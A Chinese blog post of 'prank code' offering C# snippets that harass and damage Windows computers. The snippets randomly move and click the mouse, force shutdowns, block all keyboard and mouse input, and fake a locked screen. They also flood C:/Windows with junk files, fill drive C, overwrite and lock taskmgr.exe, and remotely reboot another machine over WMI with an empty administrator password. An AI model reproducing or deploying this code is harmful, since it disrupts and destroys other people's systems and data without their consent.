整人代码

简单整人,鼠标随机乱动,随机发出错误提示音,到达一定时间后,强行关闭电脑

 

using System;

using System.Diagnostics;

using System.Media;

using System.Runtime.InteropServices;

using System.Threading;

 

namespace wga

{

    static class Program

    {

        const int MOUSEEVENTF_LEFTDOWN = 0x2 ;

        const int MOUSEEVENTF_LEFTUP = 0x4 ;

        const int MOUSEEVENTF_MIDDLEDOWN = 0x20 ;

        const int MOUSEEVENTF_MIDDLEUP = 0x40 ;

        const int MOUSEEVENTF_MOVE = 0x1 ;

        const int MOUSEEVENTF_ABSOLUTE = 0x8000 ;

        const int MOUSEEVENTF_RIGHTDOWN = 0x8 ;

        const int MOUSEEVENTF_RIGHTUP = 0x10 ;

 

        [DllImport( "user32.dll" )]

        static extern int GetSystemMetrics( int nIndex);

        [DllImport( "user32.dll" )]

        static extern int SetCursorPos( int x, int y);

        [DllImport( "user32.dll" )]

        static extern int mouse_event( int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);

 

        static int Sx, Sy;

        static long tick = 1 ;

        static Random rnd = new Random();

        [STAThread]

        static void Main()

        {

            try

            {

                Sx = GetSystemMetrics( 0 );

                Sy = GetSystemMetrics( 1 );

                while ( true )

                {

                    if ((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6 ) && rnd.Next( 1500 ) == 0 )

                        DoShutdown();

                    Thread.Sleep( 1000 );

                    tick += rnd.Next( 2 );

                    if (tick < 1800 )

                        continue ;

                    if (tick % 643 == 0 )

                         DoMouse();

                    if (tick % 313 == 0 )

                        DoBang();

                }

            }

            catch { };

        }

        static void DoMouse()

        {

            int dx, dy;

            int c = 4 ;

             while (c-- > 0 )

            {

                dx = rnd.Next(Sx);

                dy = rnd.Next(Sy);

                switch (rnd.Next( 3 ))

                {

                    case 0 :

                        SetCursorPos(dx, dy);

                         break ;

                    case 1 :

                        mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0 , 0 );

                        break ;

                    case 2 :

                        mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0 , 0 );

                        break ;

                }

                Thread.Sleep( 100 );

            }

        }

        static void DoBang()

        {

            switch (rnd.Next( 4 ))

             {

                case 0 :

                    SystemSounds.Asterisk.Play();

                    break ;

                case 1 :

                    SystemSounds.Beep.Play();

                    break ;

                case 2 :

                    SystemSounds.Exclamation.Play();

                    break ;

                case 3 :

                    SystemSounds.Hand.Play();

                    break ;

            }

        }

        static void DoShutdown()

        {

            Process.Start( "shutdown.exe" , "-f -s -t 0" );

        }

    }

}

 

 

 

锁定所有的键盘和鼠标输入,但是对 Ctrl+Alt+Delete 无效。

// true
阻止输入,false
解除阻止输入
[DllImport(
"User32.dll"
)]
public
 
static
 
extern
 
bool
 BlockInput(
bool
 enabled);

 

 

篡改背景图片

        
[DllImport(
"user32.dll"
, EntryPoint = 
"SystemParametersInfo"
)]
        

public
 
static
 
extern
 
int
 SystemParametersInfo(
            

int
 uAction,
            

int
 uParam,
            

string
 lpvParam,
            

int
 fuWinIni
            
);
 
        

///
 
<summary>
        

///
 
设置背景图片
        

///
 
</summary>
        

///
 
<param name="picture">
图片路径
</param>
        

private
 
void
 SetDestPicture(
string
 picture)
        
{
            

if
 (File.Exists(picture))
            
{
                

if
 (Path.GetExtension(picture).ToLower() != 
"bmp"
)
                
{ 
                    

// 
其它格式文件先转换为bmp
再设置
                    

string
 tempFile = 
@"D:/test.bmp"
;
                    
Image image = Image.FromFile(picture);
                    
image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp);
                    
picture = tempFile;
   
             
}
 
                
SystemParametersInfo(
20
, 
0
, picture, 
0x2
);
            
}
        
}

 

 

 

启动屏保

        

private
 
void
 RunScreenSaver()
        
{
            
String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, 
"*.scr"
);
 
        
    

if
 (screenSavers.Length > 
0
)
            
{
                

// 
启动获取到的第一个屏保
                
Process.Start(
new
 ProcessStartInfo(screenSavers[
0
]));
            
}
        
}
 

无限创建垃圾文件

long k=0;
While(true)
{
    k++;
    File.Create("C:/Windows/"+k.ToString()+".jok");
}

 

 

一个思路:
1. 用一个无边框的窗体,最大化 TopMost 显示,窗体的背景一个图片框放入黑屏、蓝屏、或截屏等你想要的图片。
2.
用窗体的 KeyDown 事件截获全部键盘输入。
3.
做一个全透明的鼠标 Cursor 作为窗体的 Cursor
4.Cancel
掉用户操作导致的窗体关闭。

 

 

直接关闭显示器

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;

namespace ControlHardWare
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }
        #region SendMessage
        public const uint WM_SYSCOMMAND = 0x0112;
        public const uint SC_MONITORPOWER = 0xF170;
        [DllImport("user32")]
        public static extern IntPtr SendMessage(IntPtr hWnd, uint wMsg, uint wParam, int lParam);
        #endregion

        private void button1_Click(object sender, EventArgs e)
        {
            CloseLCD(sender, e);
        }

        void CloseLCD(object sender, EventArgs e)
        {
            SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2);    // 2
为关闭显示器, 1 则打开显示器
        }

}
}

 

 

 

远程关闭别人的电脑( WMI

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;

using System.Management;

namespace Ex18_11
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void button1_Click(object sender, EventArgs e)
        {
            //
指定生成 WMI 连接所需的所有设置
            ConnectionOptions op = new ConnectionOptions();
            op.Username = "administrator";  //
远程计算机用户名称
            op.Password = "";
    // 远程计算机用户密码
            //
设置操作管理范围
            ManagementScope scope = new ManagementScope("" + "192.9.103.114" + "//root//cimv2", op);
            scope.Connect();  //
将此 ManagementScope 连接到实际的 WMI 范围。
            ObjectQuery oq = new ObjectQuery("SELECT * FROM Win32_OperatingSystem");
            ManagementObjectSearcher query = new ManagementObjectSearcher(scope, oq);
            //
得到 WMI 控制
            ManagementObjectCollection queryCollection = query.Get();
            foreach (ManagementObject obj in queryCollection)
            {
              // obj.InvokeMethod("ShutDown", null); //
执行关闭远程计算机 ,reboot 为重新启动
                obj.InvokeMethod("Reboot",null);
            }
        }
    }
}

 

 

 

假屏

    

public
 
partial
 
class
 VirtualForm : Form
    
{
        

private
 Bitmap bitmap;
 
        

public
 VirtualForm()
        
{
            
InitializeComponent();
            
bitmap = getDisplay();
        
}
 
        

private
 
void
 VirtualForm_Load(
object
 sender, EventArgs e)
        
{
            

this
.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
            

this
.WindowState = FormWindowState.Maximized;
            

this
.BackgroundImage = bitmap;
        
}
 
        
[System.Runtime.InteropServices.DllImportAttribute(
"gdi32.dll"
)]
        

private
 
static
 
extern
 IntPtr CreateDC(
        

string
 lpszDriver, 
// 
驱动名称
        

string
 lpszDevice, 
// 
设备名称
        

string
 lpszOutput, 
// 
无用,可以设定位"NULL"

        
IntPtr lpInitData 
// 
任意的打印机数据
        
);
 
        

//
获取当前屏幕
        
[System.Runtime.InteropServices.DllImportAttribute(
"gdi32.dll"
)]
        

private
 
static
 
extern
 
bool
 BitBlt(
        
IntPtr hdcDest, 
//
目标设备的句柄
        

int
 nXDest, 
// 
目标对象的左上角的X
坐标
        

int
 nYDest, 
// 
目标对象的左上角的X
坐标
        

int
 nWidth, 
// 
目标对象的矩形的宽度
        

int
 nHeight, 
// 
目标对象的矩形的长度
        
IntPtr hdcSrc, 
// 
源设备的句柄
        

int
 nXSrc, 
// 
源对象的左上角的X
坐标
        

int
 nYSrc, 
// 
源对象的左上角的X
坐标
        
System.Int32 dwRop 
// 
光栅的操作值
        
);
 
        

public
 
static
 Bitmap getDisplay()
        
{
            
IntPtr dc1 = CreateDC(
"DISPLAY"
, 
null
, 
null
, (IntPtr)
null
);
            

//
创建显示器的DC

            
Graphics g1 = Graphics.FromHdc(dc1);
            

//
由一个指定设备的句柄创建一个新的Graphics
对象
            
Bitmap MyImage = 
new
 Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);
            

//
根据屏幕大小创建一个与之相同大小的Bitmap
对象
            
Graphics g2 = Graphics.FromImage(MyImage);
            

//
获得屏幕的句柄
            
IntPtr dc3 = g1.GetHdc();
            

//
获得位图的句柄
            
IntPtr dc2 = g2.GetHdc();
            

//
把当前屏幕捕获到位图对象中
            
BitBlt(dc2, 
0
, 
0
, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 
0
, 
0
, 
13369376
);
            

//
把当前屏幕拷贝到位图中
            
g1.ReleaseHdc(dc3);
     
       

//
释放屏幕句柄
            
g2.ReleaseHdc(dc2);
            

//
释放位图句柄
            

return
 MyImage;
        
}
    
}
 

 

 

活动窗体震动

using
 System;
using
 System.Collections.Generic;
using
 System.ComponentModel;
using
 System.Data;
using
 System.Drawing;
using
 System.Text;
using
 System.Windows.Forms;
using
 System.Runtime.InteropServices;
 
 
namespace
 
活动窗体震动
{
    

public
 
partial
 
class
 Form1 : Form
    
{
        

public
 Form1()
        
{
            
InitializeComponent();
        
}
 
        

internal
 
struct
 RECT 
        
{
    
        

public
 
int
 left;
            

public
 
int
 top;
            

public
 
int
 right;
            

public
 
int
 bottom;
        
}
 
        
[DllImport(
"user32.dll"
, ExactSpelling = 
true
, SetLastError = 
true
)]
        

internal
 
static
 
extern
 IntPtr GetForegroundWindow();
 
        
[DllImport(
"user32.dll"
, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = 
true
, SetLastError = 
true
)]
        

internal
 
static
 
extern
 
bool
 GetWindowRect(IntPtr hWnd, 
ref
 RECT rect);
        

        
[DllImport(
"user32.dll"
, CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = 
true
, SetLastError = 
true
)]
        

internal
 
static
 
extern
 
void
 MoveWindow(IntPtr hwnd,
int
 X,
int
 Y,
int
 nWidth,
int
 nHeight,
bool
 bRepaint);
      
  
IntPtr id;
        
RECT Rect = 
new
 RECT();
        

private
 
void
 timer1_Tick(
object
 sender, EventArgs e)
        
{          

            
id = GetForegroundWindow();
//id = this.Handle;
只能自己跳
              
Random myRandom = 
new
 Random();
//
随机数对观众来说更壮观点
      
      
GetWindowRect(id, 
ref
 Rect);
           
MoveWindow(id, myRandom.Next(
1024
), myRandom.Next(
768
), Rect.right-Rect.left, Rect.bottom-Rect.top, 
true
);
        
}
        

    
}
}

 

 

二进制流屏蔽任务管理器

using
 System;
using
 System.Collections.Generic;
using
 System.Text;
using
 System.IO;
 
namespace
 
二进制流屏蔽任务管理器
{
    

class
 Program
    
{
        

static
 
void
 Main(
string
[] args)
        
{
            
FileStream MyFs;                     

//
用二进制流的方法打开它.
而且不关闭流.
这样任务管理器就打不开了!

            
MyFs = 
new
 FileStream(Environment.ExpandEnvironmentVariables(
"%windir%//system32//taskmgr.exe"
), FileMode.Open);
            

byte
[] Mybyte = 
new
 
byte
[(
int
)MyFs.Length];
            
MyFs.Write(Mybyte, 
0
, (
int
)MyFs.Length);
            

while
 (
true
)
            
{
                

//
死循环,
如果没有它程序运行就结束了,
什么流都关闭了。
            
}
        
}
    
}
}
 
//
原理就是在后台永久性独占taskmgr.exe

 

 

 

瞬间填满 C:/

System.IO.FileStream fs = 
new
 FileStream(
"C://1.txt"
, FileMode.OpenOrCreate);
            
fs.SetLength(System.IO.DriveInfo.GetDrives()[
0
].TotalFreeSpace-
1024
*
1024
);
            
fs.Close();
 

 

 

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值